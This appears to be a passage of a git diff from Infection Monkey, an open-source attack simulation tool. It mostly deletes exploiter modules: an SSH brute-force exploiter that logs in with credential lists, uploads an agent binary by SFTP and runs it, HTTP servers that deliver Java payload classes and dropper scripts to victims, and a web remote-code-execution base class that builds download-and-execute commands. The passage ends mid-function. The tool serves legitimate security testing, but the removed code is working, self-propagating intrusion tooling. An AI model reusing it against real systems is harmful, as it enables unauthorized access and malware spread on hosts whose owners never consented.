downloaded the Java bytecode from the server. - - :return: True if the victim has downloaded the Java bytecode from the server. False - otherwise. - :rtype: bool - """ - return self._class_downloaded.is_set() - - -def _get_new_http_handler_class( - java_class: bytes, class_downloaded: threading.Event -) -> Type[http.server.BaseHTTPRequestHandler]: - """ - Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the - caller. - - Because Python's http.server.HTTPServer accepts a class and creates a new object to - handle each request it receives, any state that needs to be shared between requests must be - stored as class variables. Creating the request handler classes dynamically at runtime allows - multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. - """ - - def do_GET(self): - with self.download_lock: - if self.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - self.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - return type( - "HTTPHandler", - (http.server.BaseHTTPRequestHandler,), - { - "java_class": java_class, - "class_downloaded": class_downloaded, - "download_lock": threading.Lock(), - "do_GET": do_GET, - }, - ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py deleted file mode 100644 index 69093ca6784..00000000000 --- a/monkey/infection_monkey/exploit/sshexec.py +++ /dev/null @@ -1,347 +0,0 @@ -import io -import logging -from ipaddress import IPv4Address -from pathlib import PurePath -from time import time -from typing import Optional - -import paramiko -from egg_timer import EggTimer - -from common import OperatingSystem -from common.agent_events import TCPScanEvent -from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.credentials import get_plaintext -from common.tags import ( - BRUTE_FORCE_T1110_TAG, - FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, - REMOTE_SERVICES_T1021_TAG, -) -from common.types import NetworkPort, NetworkService, PortStatus -from common.utils.attack_utils import ScanStatus -from common.utils.exceptions import FailedExploitationError -from infection_monkey.exploit import RetrievalError -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import MONKEY_ARG -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.utils.brute_force import generate_identity_secret_pairs -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptible_iter - -logger = logging.getLogger(__name__) -SSH_PORT = NetworkPort(22) -SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT -SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - -TRANSFER_UPDATE_RATE = 15 -SSH_EXPLOITER_TAG = "ssh-exploiter" - - -class SSHExploiter(HostExploiter): - _EXPLOITED_SERVICE = "SSH" - - _EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, BRUTE_FORCE_T1110_TAG, REMOTE_SERVICES_T1021_TAG) - _PROPAGATION_TAGS = ( - SSH_EXPLOITER_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, - FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, - ) - - def __init__(self): - super(SSHExploiter, self).__init__() - - def log_transfer(self, transferred, total): - timer = EggTimer() - timer.set(TRANSFER_UPDATE_RATE) - - if timer.is_expired(): - logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - timer.reset() - - def exploit_with_ssh_keys(self, port: NetworkPort) -> paramiko.SSHClient: - user_ssh_key_pairs = generate_identity_secret_pairs( - identities=self.options["credentials"]["exploit_user_list"], - secrets=self.options["credentials"]["exploit_ssh_keys"], - ) - - ssh_key_pairs_iterator = interruptible_iter( - user_ssh_key_pairs, - self.interrupt, - "SSH exploiter has been interrupted", - logging.INFO, - ) - - for user, ssh_key_pair in ssh_key_pairs_iterator: - # Creating file-like private key for paramiko - pkey = io.StringIO(get_plaintext(ssh_key_pair["private_key"])) - ssh_string = "%s@%s" % (user, self.host.ip) - - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - try: - pkey = paramiko.RSAKey.from_private_key(pkey) - except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): - logger.error("Failed reading ssh key") - - timestamp = time() - try: - ssh.connect( - str(self.host.ip), - username=user, - pkey=pkey, - port=int(port), - timeout=SSH_CONNECT_TIMEOUT, - auth_timeout=SSH_AUTH_TIMEOUT, - banner_timeout=SSH_BANNER_TIMEOUT, - channel_timeout=SSH_CHANNEL_TIMEOUT, - allow_agent=False, - ) - logger.debug( - "Successfully logged in %s using %s users private key", self.host.ip, ssh_string - ) - self.add_vuln_port(port) - self.exploit_result.exploitation_success = True - self._publish_exploitation_event(timestamp, True) - self.report_login_attempt(True, user, ssh_key=ssh_string) - return ssh - except paramiko.AuthenticationException as err: - ssh.close() - error_message = ( - f"Failed logging into victim {self.host.ip} with {ssh_string} " - f"private key: {err}" - ) - logger.info(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, ssh_key=ssh_string) - continue - except Exception as err: - error_message = ( - f"Unexpected error while attempting to login to {ssh_string} with ssh key: " - f"{err}" - ) - logger.error(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, ssh_key=ssh_string) - - raise FailedExploitationError - - def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: - user_password_pairs = generate_identity_secret_pairs( - identities=self.options["credentials"]["exploit_user_list"], - secrets=self.options["credentials"]["exploit_password_list"], - ) - - credentials_iterator = interruptible_iter( - user_password_pairs, - self.interrupt, - "SSH exploiter has been interrupted", - logging.INFO, - ) - - for user, current_password in credentials_iterator: - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - timestamp = time() - try: - ssh.connect( - str(self.host.ip), - username=user, - password=get_plaintext(current_password), - port=int(port), - timeout=SSH_CONNECT_TIMEOUT, - auth_timeout=SSH_AUTH_TIMEOUT, - banner_timeout=SSH_BANNER_TIMEOUT, - channel_timeout=SSH_CHANNEL_TIMEOUT, - allow_agent=False, - ) - - logger.debug("Successfully logged in %r using SSH. User: %s", self.host.ip, user) - self.add_vuln_port(port) - self.exploit_result.exploitation_success = True - self._publish_exploitation_event(timestamp, True) - self.report_login_attempt(True, user, current_password) - return ssh - - except paramiko.AuthenticationException as err: - error_message = ( - f"Failed logging into victim {self.host.ip} with user: {user}: {err}" - ) - logger.debug(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, current_password) - ssh.close() - continue - except Exception as err: - error_message = ( - f"Unexpected error while attempting to login to {self.host.ip} with password: " - f"{err}" - ) - logger.error(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, current_password) - - raise FailedExploitationError - - def _exploit_host(self) -> ExploiterResultData: - port = self._get_ssh_port() - - if not self._is_port_open(self.host.ip, port): - self.exploit_result.error_message = f"SSH port is closed on {self.host.ip}, skipping" - logger.info(self.exploit_result.error_message) - return self.exploit_result - - try: - ssh = self._exploit(port) - except FailedExploitationError as err: - self.exploit_result.error_message = str(err) - logger.error(self.exploit_result.error_message) - - return self.exploit_result - - if self._is_interrupted(): - return self.exploit_result - - try: - self._propagate(ssh) - except (FailedExploitationError, RuntimeError) as err: - self.exploit_result.error_message = str(err) - logger.error(self.exploit_result.error_message) - finally: - ssh.close() - return self.exploit_result - - def _exploit(self, port: NetworkPort) -> paramiko.SSHClient: - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - raise FailedExploitationError("Exploiter SSHExploiter is giving up...") - - return ssh - - def _propagate(self, ssh: paramiko.SSHClient): - agent_binary_file_object = self._get_agent_binary(ssh) - if agent_binary_file_object is None: - raise RuntimeError(f"Can't find suitable monkey executable for host {self.host.ip}") - - if self._is_interrupted(): - raise RuntimeError("Propagation was interrupted") - - monkey_path_on_victim = get_agent_dst_path(self.host) - status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) - - if status == ScanStatus.SCANNED: - raise FailedExploitationError(self.exploit_result.error_message) - - try: - cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} " - cmdline += f"{monkey_path_on_victim} {MONKEY_ARG}" - cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) - cmdline += " > /dev/null 2>&1 &" - timestamp = time() - ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - monkey_path_on_victim, - self.host.ip, - cmdline, - ) - - self.exploit_result.propagation_success = True - self._publish_propagation_event(timestamp, True) - self.add_executed_cmd(cmdline) - - except Exception as exc: - error_message = f"Error running monkey on victim {self.host.ip}: ({exc})" - self._publish_propagation_event(timestamp, False, error_message=error_message) - raise FailedExploitationError(error_message) - - def _is_port_open(self, ip: IPv4Address, port: NetworkPort) -> bool: - is_open, _ = check_tcp_port(ip, port) - status = PortStatus.OPEN if is_open else PortStatus.CLOSED - self.agent_event_queue.publish( - TCPScanEvent(source=self.agent_id, target=ip, ports={port: status}) - ) - - return is_open - - def _get_ssh_port(self) -> NetworkPort: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for psd in self.host.ports_status.tcp_ports.values(): - if psd.service == NetworkService.SSH: - port = psd.port - - return port - - def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: - try: - _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) - uname_os = stdout.read().lower().strip().decode() - if "linux" in uname_os: - self.exploit_result.os = OperatingSystem.LINUX - self.host.operating_system = OperatingSystem.LINUX - else: - self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - - if not uname_os: - logger.error(self.exploit_result.error_message) - return False - except Exception as exc: - logger.error(f"Error running uname os command on victim {self.host.ip}: ({exc})") - return False - return True - - def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: - if not self.host.operating_system and not self._get_victim_os(ssh): - return None - - try: - agent_binary_file_object = self.agent_binary_repository.get_agent_binary( - self.exploit_result.os - ) - except RetrievalError: - return None - - return agent_binary_file_object - - def _upload_agent_binary( - self, - ssh: paramiko.SSHClient, - agent_binary_file_object: io.BytesIO, - monkey_path_on_victim: PurePath, - ) -> ScanStatus: - try: - timestamp = time() - with ssh.open_sftp() as ftp: - ftp.putfo( - agent_binary_file_object, - str(monkey_path_on_victim), - file_size=len(agent_binary_file_object.getbuffer()), - callback=self.log_transfer, - ) - self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) - - return ScanStatus.USED - except Exception as exc: - error_message = f"Error uploading file into victim {self.host.ip}: ({exc})" - self._publish_propagation_event(timestamp, False, error_message=error_message) - self.exploit_result.error_message = error_message - return ScanStatus.SCANNED - - def _set_executable_bit_on_agent_binary( - self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath - ): - ftp.chmod(str(monkey_path_on_victim), 0o700) diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py index 90a9b6f926c..45ea569caf4 100644 --- a/monkey/infection_monkey/exploit/tools/__init__.py +++ b/monkey/infection_monkey/exploit/tools/__init__.py @@ -16,4 +16,6 @@ from .utils import ( all_tcp_ports_are_closed, all_udp_ports_are_closed, + filter_out_closed_ports, + get_open_http_ports, ) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 3116e76b054..87fee4ba663 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -5,12 +5,12 @@ from typing import Callable, Iterable, Set from common import OperatingSystem -from common.agent_events import ExploitationEvent, PropagationEvent +from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.utils.threading import interruptible_iter from . import ( @@ -42,7 +42,7 @@ def __init__( get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, - tags: Set[str], + tags: Set[AgentEventTag], ): """ :param exploiter_name: The name of the exploiter @@ -67,7 +67,7 @@ def exploit_host( self, host: TargetHost, interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: """ Exploits the given host and propagates the Monkey agent @@ -76,7 +76,7 @@ def exploit_host( :return: The result of the exploit """ if interrupt.is_set(): - return ExploiterResultData() + return ExploiterResult() exploit_client = self._exploit_client_factory.create() @@ -84,20 +84,20 @@ def exploit_host( self._exploit(exploit_client, host, interrupt) except Exception as err: logger.exception(f"Failed to exploit {host.ip}: {err}") - return ExploiterResultData(exploitation_success=False, propagation_success=False) + return ExploiterResult(exploitation_success=False, propagation_success=False) try: self._propagate(exploit_client, host, interrupt) - return ExploiterResultData(exploitation_success=True, propagation_success=True) + return ExploiterResult(exploitation_success=True, propagation_success=True) except Exception as err: logger.exception(f"Failed to propagate to {host.ip}: {err}") - return ExploiterResultData(exploitation_success=True, propagation_success=False) + return ExploiterResult(exploitation_success=True, propagation_success=False) def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interrupt: Event): credential_combinations = self._get_credentials() for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): - tags: Set[str] = set() + tags: Set[AgentEventTag] = set() timestamp = time() try: exploit_client.login(brute_force_credentials, tags) @@ -124,8 +124,8 @@ def _propagate( interrupt: Event, ): target_host_os = exploit_client.get_os() - copy_file_tags: Set[str] = set() - execute_agent_tags: Set[str] = set() + copy_file_tags: Set[AgentEventTag] = set() + execute_agent_tags: Set[AgentEventTag] = set() timestamp = time() try: @@ -154,7 +154,7 @@ def _copy_agent_binary( self, target_host_os: OperatingSystem, destination: PurePath, - tags: Set[str], + tags: Set[AgentEventTag], exploit_client: IRemoteAccessClient, interrupt: Event, ) -> PurePath: @@ -182,7 +182,7 @@ def _publish_exploitation_event( target_host: TargetHost, time: float, success: bool = False, - tags: Set[str] = set(), + tags: Set[AgentEventTag] = set(), error_message: str = "", ): exploitation_event = ExploitationEvent( @@ -201,7 +201,7 @@ def _publish_propagation_event( target_host: TargetHost, time: float, success: bool = False, - tags: Set[str] = set(), + tags: Set[AgentEventTag] = set(), error_message: str = "", ): propagation_event = PropagationEvent( diff --git a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py deleted file mode 100644 index 702e5d3b50d..00000000000 --- a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py +++ /dev/null @@ -1,89 +0,0 @@ -from pathlib import PurePath -from typing import Sequence - -from common import OperatingSystem -from common.types import SocketAddress -from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import TargetHost -from infection_monkey.network import TCPPortSelector -from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.utils.script_dropper import build_bash_dropper - - -def start_agent_binary_server( - target_host: TargetHost, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector -) -> HTTPBytesServer: - """ - Starts an HTTP server that serves the agent binary - - :param target_host: The host to serve the agent binary to - :param agent_binary_repository: The repository that contains the agent binary - :param tcp_port_selector: The TCP port selector to use - - :return: The started HTTPBytesServer that serves the agent binary - :raises ValueError: If the operating system of the target host is unknown - """ - if target_host.operating_system is None: - raise ValueError("The operating system of the target host is unknown") - - agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read() - - return start_http_bytes_server(target_host, agent_binary, tcp_port_selector) - - -def start_dropper_script_server( - target_host: TargetHost, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - destination_path: PurePath, - args: Sequence[str], -) -> HTTPBytesServer: - """ - Starts an HTTP server that serves the dropper script - - :param target_host: The host for whom to serve the dropper script - :param agent_binary_repository: The repository that contains the agent binary - :param tcp_port_selector: The TCP port selector to use - :param destination_path: The destination path into which to drop the agent payload - :param args: The arguments to pass to the agent payload - - :return: The started HTTPBytesServer that serves the provided data - """ - if target_host.operating_system is None: - raise ValueError("The operating system of the target host is unknown") - - if target_host.operating_system is OperatingSystem.WINDOWS: - raise NotImplementedError("Windows is not supported, yet") - - agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read() - dropper_script = build_bash_dropper(destination_path, args, agent_binary) - - return start_http_bytes_server(target_host, dropper_script, tcp_port_selector) - - -def start_http_bytes_server( - target_host: TargetHost, bytes_to_serve: bytes, tcp_port_selector: TCPPortSelector -) -> HTTPBytesServer: - """ - Starts an HTTP server that serves the provided data - - :param target_host: The host to serve the agent binary to - :param bytes_to_server: The data (bytes) that the server will server - :param tcp_port_selector: The TCP port selector to use - - :return: The started HTTPBytesServer that serves the provided data - """ - bind_address = _get_bind_address(target_host, tcp_port_selector) - - server = HTTPBytesServer(bind_address, bytes_to_serve) - server.start() - - return server - - -def _get_bind_address(target_host: TargetHost, tcp_port_selector: TCPPortSelector) -> SocketAddress: - bind_ip = get_interface_to_target(str(target_host.ip)) - bind_port = tcp_port_selector.get_free_tcp_port() - - return SocketAddress(ip=bind_ip, port=bind_port) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py deleted file mode 100644 index 98d3c07e1a7..00000000000 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import urllib.error -import urllib.parse -import urllib.request -from threading import Lock -from typing import Optional, Tuple - -from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.network import TCPPortSelector -from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport import LockedHTTPServer - -logger = logging.getLogger(__name__) - - -class HTTPTools(object): - @staticmethod - def try_create_locked_transfer( - host, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - local_ip=None, - local_port: Optional[int] = None, - ): - http_path, http_thread = HTTPTools.create_locked_transfer( - host, agent_binary_repository, tcp_port_selector, local_ip, local_port - ) - if not http_path: - raise Exception("Http transfer creation failed.") - logger.info("Started http server on %s", http_path) - return http_path, http_thread - - @staticmethod - def create_locked_transfer( - host, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - local_ip=None, - local_port: Optional[int] = None, - ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]: - """ - Create http server for file transfer with a lock - :param host: Variable with target's information - :param src_path: Monkey's path on current system - :param agent_binary_repository: Repository to download Monkey agents - :param local_ip: IP where to host server - :param local_port: Port at which to host monkey's download - :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler - """ - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - if not local_port: - local_port = tcp_port_selector.get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(str(host.ip)) - - if not firewall.listen_allowed(): - logger.error("Firewall is not allowed to listen for incoming ports. Aborting") - return None, None - - httpd = LockedHTTPServer( - local_ip, - local_port, - host.operating_system, - agent_binary_repository, - lock, - ) - httpd.start() - lock.acquire() - return ( - f"http://{local_ip}:{local_port}/{urllib.parse.quote(host.operating_system.value)}", - httpd, - ) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 7bd4ec9b9ac..fa23a41713e 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -3,6 +3,7 @@ from typing import Collection, Set from common import OperatingSystem +from common.agent_events import AgentEventTag from common.credentials import Credentials @@ -34,7 +35,7 @@ class IRemoteAccessClient(ABC): """An interface for clients that execute remote commands""" @abstractmethod - def login(self, credentials: Credentials, tags: Set[str]): + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): """ Establish an authenticated session with the remote host @@ -57,7 +58,7 @@ def get_os(self) -> OperatingSystem: pass @abstractmethod - def copy_file(self, file: bytes, dest: PurePath, tags: Set[str]): + def copy_file(self, file: bytes, dest: PurePath, tags: Set[AgentEventTag]): """ Copy a file to the remote host @@ -80,7 +81,7 @@ def get_writable_paths(self) -> Collection[PurePath]: pass @abstractmethod - def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): """ Execute the agent on the remote host in a detached process diff --git a/monkey/infection_monkey/exploit/tools/utils.py b/monkey/infection_monkey/exploit/tools/utils.py index 16e1174a2e1..cb285233f4a 100644 --- a/monkey/infection_monkey/exploit/tools/utils.py +++ b/monkey/infection_monkey/exploit/tools/utils.py @@ -1,8 +1,12 @@ -from typing import Sequence +from typing import Sequence, Set -from common.types import NetworkPort +from common.types import NetworkPort, NetworkService from infection_monkey.i_puppet import TargetHost +# NOTE: Don't migrate these functions to a user-facing interface +# without properly thinking about it. Are these functions stable enough? +# Are they promises that we want to keep to users who build their own plugins? + def all_tcp_ports_are_closed(host: TargetHost, tcp_ports: Sequence[NetworkPort]) -> bool: closed_tcp_ports = host.ports_status.tcp_ports.closed @@ -19,3 +23,12 @@ def all_udp_ports_are_closed(host: TargetHost, udp_ports: Sequence[NetworkPort]) """ closed_udp_ports = host.ports_status.udp_ports.closed return all([p in closed_udp_ports for p in udp_ports]) + + +def filter_out_closed_ports(host: TargetHost, ports: Sequence[NetworkPort]) -> Set[NetworkPort]: + return {port for port in ports if port not in host.ports_status.tcp_ports.closed} + + +def get_open_http_ports(host: TargetHost) -> Sequence[NetworkPort]: + tcp_ports = host.ports_status.tcp_ports + return [port for port in tcp_ports.open if tcp_ports[port].service == NetworkService.HTTP] diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py deleted file mode 100644 index 442d029b052..00000000000 --- a/monkey/infection_monkey/exploit/web_rce.py +++ /dev/null @@ -1,417 +0,0 @@ -import logging -from abc import abstractmethod -from posixpath import join -from typing import List, Tuple, Union - -from common import OperatingSystem -from common.types import NetworkPort, NetworkService, PortStatus -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.i_puppet import TargetHost -from infection_monkey.model import ( - BITSADMIN_CMDLINE_HTTP, - CHECK_COMMAND, - CHMOD_MONKEY, - DOWNLOAD_TIMEOUT, - DROPPER_ARG, - ID_STRING, - MONKEY_ARG, - POWERSHELL_HTTP_UPLOAD, - RUN_MONKEY, - WGET_HTTP_UPLOAD, -) -from infection_monkey.utils.commands import ( - DROPPER_TARGET_PATH_LINUX, - DROPPER_TARGET_PATH_WIN64, - build_monkey_commandline, -) -from infection_monkey.utils.threading import interruptible_iter - -logger = logging.getLogger(__name__) -# Command used to check if monkeys already exists -POWERSHELL_NOT_FOUND = "powershell is not recognized" - - -class WebRCE(HostExploiter): - def __init__(self, monkey_target_paths=None): - """ - :param monkey_target_paths: Where to upload the monkey at the target host system. - Dict in format {'linux': '/tmp/monkey.sh', 'win64':... } - """ - super(WebRCE, self).__init__() - self.monkey_target_paths = monkey_target_paths - self.vulnerable_urls = [] - - def get_exploit_config(self): - """ - Method that creates a dictionary of configuration values for exploit - :return: configuration dict - """ - exploit_config = {} - - # dropper: If true monkey will use dropper parameter that will detach monkey's process - # and try to copy - # it's file to the default destination path. - exploit_config["dropper"] = False - - # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD, - # 'windows': WIN_CMD} - # Command must have "monkey_path" and "http_path" format parameters. If None defaults - # will be used. - exploit_config["upload_commands"] = None - - # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", - # "index.php"] - exploit_config["url_extensions"] = [] - - # stop_checking_urls: If true it will stop checking vulnerable urls once one was found - # vulnerable. - exploit_config["stop_checking_urls"] = False - - return exploit_config - - def _exploit_host(self): - """ - Method that contains default exploitation workflow - :return: True if exploited, False otherwise - """ - # We get exploit configuration - exploit_config = self.get_exploit_config() - # Get open ports - ports = self.get_ports_w(self.http_ports, [NetworkService.HTTP]) - if not ports: - return False - # Get urls to try to exploit - potential_urls = self.build_potential_urls( - self.host.ip, ports, exploit_config["url_extensions"] - ) - self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) - - # Upload the right monkey to target - data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) - - if data is False: - return False - - # Change permissions to transform monkey into executable file - if self.change_permissions(self.get_target_url(), data["path"]) is False: - return False - - # Execute remote monkey - if ( - self.execute_remote_monkey( - self.get_target_url(), data["path"], exploit_config["dropper"] - ) - is False - ): - return False - - return True - - def pre_exploit(self): - if not self.monkey_target_paths: - self.monkey_target_paths = { - "linux": DROPPER_TARGET_PATH_LINUX, - "windows": DROPPER_TARGET_PATH_WIN64, - } - self.http_ports = [NetworkPort(port) for port in self.options["http_ports"]] - super().pre_exploit() - - @abstractmethod - def exploit(self, url, command): - """ - A reference to a method which implements web exploit logic. - :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. - :param command: Command which will be executed on remote host - :return: RCE's output/True if successful or False if failed - """ - raise NotImplementedError() - - @staticmethod - def get_open_service_ports( - target_host: TargetHost, port_list: List[NetworkPort], services: List[NetworkService] - ) -> List[Tuple[NetworkPort, bool]]: - """ - :param target_host: TargetHost object that exploiter is targeting - :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS - :param services: List of NetworkService objects - :return: Ports of the target host which are open and match the given - criteria (port exists in the given list of ports and port's service - exists in the given list of services), and whether they are HTTPS - """ - return [ - (psd.port, psd.service == NetworkService.HTTPS) - for psd in target_host.ports_status.tcp_ports.values() - if psd.service in services and psd.status == PortStatus.OPEN and psd.port in port_list - ] - - def get_command(self, path, http_path, commands): - try: - if OperatingSystem.WINDOWS == self.host.operating_system: - command = commands["windows"] - else: - command = commands["linux"] - # Format command - command = command % {"monkey_path": path, "http_path": http_path} - except KeyError: - logger.error( - "Provided command is missing/bad for this type of host! " - "Check upload_monkey function docs before using custom monkey's upload " - "commands." - ) - return False - return command - - def check_if_exploitable(self, url): - """ - Checks if target is exploitable by interacting with url - :param url: Url to exploit - :return: True if exploitable and false if not - """ - try: - resp = self.exploit(url, CHECK_COMMAND) - if resp is True: - return True - elif resp is not False and ID_STRING in resp: - return True - else: - return False - except Exception as e: - logger.error("Host's exploitability check failed due to: %s" % e) - return False - - @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: - """ - Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and - extensions. - :param ip: IP address of the victim - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), - isHTTPS?(bool)] - Eg. ports: [[80, False], [443, True]] - :param extensions: What subdirectories to scan. www.domain.com[/extension] - :return: Array of url's to try and attack - """ - url_list = [] - if extensions: - extensions = [(e[1:] if "/" == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension)) - if not url_list: - logger.info("No attack url's were built") - return url_list - - def add_vulnerable_urls(self, urls, stop_checking=False): - """ - Gets vulnerable url(s) from url list - :param urls: Potentially vulnerable urls - :param stop_checking: If we want to continue checking for vulnerable url even though one - is found (bool) - :return: None (we append to class variable vulnerable_urls) - """ - for url in interruptible_iter(urls, self.interrupt): - if self.check_if_exploitable(url): - self.add_vuln_url(url) - self.vulnerable_urls.append(url) - if stop_checking: - break - if not self.vulnerable_urls: - logger.info("No vulnerable urls found, skipping.") - - # Wrapped functions: - def get_ports_w( - self, ports: List[NetworkPort], services: List[NetworkService] - ) -> Union[bool, List[Tuple[NetworkPort, bool]]]: - """ - Get ports wrapped with log - :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS - :param services: List of NetworkService objects - :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ - port.nr, IsHTTPS?] - """ - ports = WebRCE.get_open_service_ports(self.host, ports, services) - if not ports: - logger.info(f"All default web ports are closed on {self.host.ip}, skipping") - return False - else: - return ports - - def run_backup_commands(self, resp, url, dest_path, http_path): - """ - If you need multiple commands for the same os you can override this method to add backup - commands - :param resp: Response from base command - :param url: Vulnerable url - :param dest_path: Where to upload monkey - :param http_path: Where to download monkey from - :return: Command's response (same response if backup command is not needed) - """ - if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: - logger.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = BITSADMIN_CMDLINE_HTTP % { - "monkey_path": dest_path, - "http_path": http_path, - } - resp = self.exploit(url, backup_command) - return resp - - def upload_monkey(self, url, commands=None): - """ - :param url: Where exploiter should send it's request - :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': - WIN_CMD} - Command must have "monkey_path" and "http_path" format parameters. - :return: {'response': response/False, 'path': monkeys_path_in_host} - """ - logger.info("Trying to upload monkey to the host.") - if not self.host.operating_system: - 